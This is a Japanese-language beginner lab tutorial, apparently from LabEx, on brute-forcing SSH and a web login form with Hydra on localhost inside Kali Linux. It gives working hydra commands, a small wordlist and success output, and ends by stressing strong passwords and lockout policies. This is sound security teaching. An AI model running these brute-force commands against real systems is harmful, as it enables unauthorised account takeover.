Hydra を使用した Kali Linux でのパスワード攻撃

Kali LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、Kali Linux を使用したエシカルハッキングの基礎を学び、強力なブルートフォース(総当たり)攻撃ツールである Hydra を使ってパスワード攻撃の手法を体験します。この学習の目的は、こうした攻撃がどのように行われるかを理解し、なぜ強力なパスワードや安全なシステム設定が不可欠なのかを学ぶことにあります。

管理された LabEx の仮想マシン環境内で、SSH 認証情報や Web ログインに対する攻撃をシミュレートするため、安全かつ合法的な環境で練習を行うことができます。ステップバイステップのガイドに従って、ワードリストの作成、ブルートフォース攻撃の実行、そして分析のための結果のログ記録を行います。すべてのタスクは自動的にセットアップされた Kali Linux コンテナ内で実行されるため、完全な初心者の方でもスムーズに取り組むことができます。

環境のセットアップと Hydra のインストール

最初のステップでは、Kali Linux コンテナ内に作業環境を準備し、パスワード攻撃に使用するツールである Hydra をインストールします。ターミナルを開くと、自動的に Kali Linux コンテナのシェルに入るため、手動でのセットアップは不要です。

まず、OS の詳細を確認して、Kali Linux 環境にいることを確認しましょう。

cat /etc/os-release

出力結果に Kali Linux を実行していることを示す情報が表示されるはずです。

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

次に、パッケージリストを更新して、最新のソフトウェアバージョンを取得できるようにします。

apt update

続いて、Hydra をインストールします。Hydra は数多くのプロトコルをサポートする多機能なブルートフォース攻撃ツールです。-y フラグを付けることで、インストール時の確認を自動的に承認します。

apt install -y hydra

インストールが完了したら、ヘルプメニューを表示して Hydra の準備ができているか確認します。

hydra -h

出力には Hydra のバージョンと使用方法(構文)が表示され、正しくインストールされたことが確認できます。

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

最後に、環境セットアップ時にあらかじめ設定されていた SSH サービスを起動します。これがブルートフォース攻撃シミュレーションのターゲットになります。

service ssh start

SSH サービスの状態を確認して、実行中であることを確認できます。

service ssh status

SSH サービスがアクティブ(実行中)であることを示す出力が表示されるはずです。

sshd is running.

これで、環境のセットアップ、Hydra のインストール、および攻撃シミュレーション用の SSH サービスの起動が完了しました。

ブルートフォース攻撃用のワードリスト作成

ワードリストとは、Hydra のようなツールがターゲットへのアクセスを試みる際に使用する、パスワード候補が記述されたプレーンテキストファイルのことです。このステップでは、シミュレーション攻撃用にカスタマイズした小さなワードリストを作成します。

nano テキストエディタを使用して、passwords.txt という名前のファイルを作成します。

まず、nano テキストエディタをインストールします。

apt install -y nano

次に、ワードリストファイルを作成します。

nano passwords.txt

このコマンドを実行すると、nano エディタで新しいファイルが開きます。以下の一般的なパスワードを、1 行に 1 つずつ入力してください。

admin
password
123456
test
root

ファイルを保存するには Ctrl+O を押し、ファイル名を確認するために Enter を押します。nano を終了するには Ctrl+X を押します。

ファイルが作成されたことを確認するために、現在のディレクトリのファイル一覧を表示します。

ls

出力に passwords.txt が表示されていれば、次のステップで使用するワードリストの準備は完了です。

passwords.txt

SSH に対するブルートフォース攻撃の実行

いよいよ Hydra と作成したワードリストを使用して、ローカルシステムで動作している SSH(Secure Shell)サービスに対してブルートフォース攻撃を実行します。SSH は安全なリモート管理によく使われるプロトコルです。この実験環境では、ワードリストに含まれる脆弱なパスワードが設定された SSH サーバーを用意しており、実際の攻撃がどのように機能するかをリアルに再現します。

以下のコマンドを実行して、ブルートフォース攻撃を開始します。

hydra -l root -P passwords.txt ssh://127.0.0.1

コマンドの各オプションの意味は以下の通りです:

  • -l root: テストする単一のユーザー名を指定します。ここでは root です。
  • -P passwords.txt: パスワードのソースとして passwords.txt ファイルを使用するよう Hydra に指示します。
  • ssh://127.0.0.1: ターゲットとなるプロトコル(SSH)とターゲットホスト(127.0.0.1)を指定します。

SSH サーバーの root ユーザーには、ワードリストに含まれている root というパスワードが設定されているため、Hydra は正常に認証情報を見つけ出します。

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

おめでとうございます!攻撃は成功しました。Hydra は、ユーザー名 root、パスワード root で SSH サービスへの有効なアクセスが可能であることを突き止めました。これにより、脆弱なパスワードがいかに簡単にブルートフォースツールによって発見されてしまうかが理解できたはずです。

Web ログインフォームに対するブルートフォース攻撃の実行

次に、Web ログインフォームに対する攻撃を行います。これもブルートフォース攻撃の非常によくあるターゲットです。環境セットアップの一環として、admin:admin という認証情報を受け付ける脆弱なログインページを持つシンプルな Apache Web サーバーを構成してあります。

まず、Web サーバーが動作していることを確認するために起動します:

service apache2 start

次に、以下のコマンドを実行して Web ログイン攻撃を開始します。

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

このコマンドの構成要素を確認しましょう:

  • -l admin: ユーザー名 admin を指定します。
  • -P passwords.txt: 作成したパスワードワードリストを使用します。
  • http-post-form://127.0.0.1/login.php: ターゲットプロトコルと、作成済みの実際のログインページを指定します。
  • 'user=^USER^&pass=^PASS^:F=Incorrect': これが Web 攻撃モジュールの核心部分です。
    • user=^USER^&pass=^PASS^: フォームのフィールドを定義します。Hydra は ^USER^^PASS^ をテスト中の認証情報に置き換えます。
    • :F=Incorrect: サーバーからのレスポンスに "Incorrect" という単語が含まれている場合、ログイン試行が失敗したと判断するよう Hydra に伝えます。

この Web アプリケーションは admin:admin(ワードリスト内に存在)を受け入れるように設定されているため、Hydra は正常に認証情報を見つけ出します。

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

素晴らしい!Web 攻撃も成功しました。これにより、Hydra が脆弱なログインフォームを持つ Web アプリケーションなど、さまざまなサービスに合わせて柔軟に対応できることがわかります。

ブルートフォース攻撃の結果のログ記録

最後のステップでは、成功した Hydra 攻撃の出力をログに記録する方法を学びます。ログの記録は、ペネトレーションテスト(侵入テスト)やセキュリティ監査において、発見事項を文書化するための極めて重要なプロセスです。

ステップ 3 で行った SSH 攻撃を再度実行しますが、今回は結果をファイルに保存します。

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

このコマンドで新しく追加された部分は以下の通りです:

  • -o attack_log.txt: このフラグは、出力を指定したファイル attack_log.txt に保存するよう Hydra に指示します。

コマンドを実行すると、画面に攻撃結果が表示されると同時に、詳細なログファイルが作成されます。

ログファイルの内容を確認するには、cat コマンドを使用します。

cat attack_log.txt

ログファイルには、発見された認証情報を含む、成功した攻撃の概要が記録されています。

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

完璧です!ログファイルには、Hydra が SSH サービスの認証情報 root:root を正常に発見したことが明確に示されています。このような詳細なログ記録は、以下の目的で不可欠です:

  1. 文書化: 成功したペネトレーションテストの記録を保持する
  2. 報告: クライアントや経営陣に証拠を提供する
  3. 分析: 攻撃パターンや成功率をレビューする
  4. コンプライアンス: セキュリティ監査の要件を満たす

これで、Hydra 攻撃の結果を保存する方法を習得しました。これは、エシカルハッキングにおける「認証情報の発見」と「適切な文書化」の両方の実践を示したものです。

まとめ

この実験では、Kali Linux コンテナ内で Hydra を使用して実際のパスワード攻撃を行うことにより、エシカルハッキングの基礎を正常に学習しました。Hydra のインストールと脆弱なサービス(SSH および Web サーバー)のセットアップから始め、脆弱なパスワードを含むカスタムワードリストを作成しました。ハンズオンを通じて、SSH 認証情報と Web ログインフォームの両方に対してブルートフォース攻撃を実行し、脆弱なパスワードがいかに短時間で破られるかを目の当たりにしました。最後に、適切な文書化と分析のために攻撃結果をログに記録する方法を学びました。

この実験の主なポイント:

  1. 脆弱なパスワードは簡単に破られる - root:rootadmin:admin もすぐに見つけ出されました。
  2. 複数の攻撃ベクトルが存在する - SSH サービスや Web アプリケーションは一般的なターゲットです。
  3. 適切な文書化が不可欠 - ペネトレーションテストにおいて結果のログ記録は必須です。
  4. 防御意識の向上 - 攻撃手法を理解することは、より良いセキュリティ対策の実装に役立ちます。

これらの実践的なスキルは、ブルートフォース攻撃の実際の仕組みを理解するための強固な基盤となります。また、こうした攻撃から守るために、強力なパスワード、アカウントロックアウトポリシー、および安全なシステム設定がいかに重要であるかを証明しています。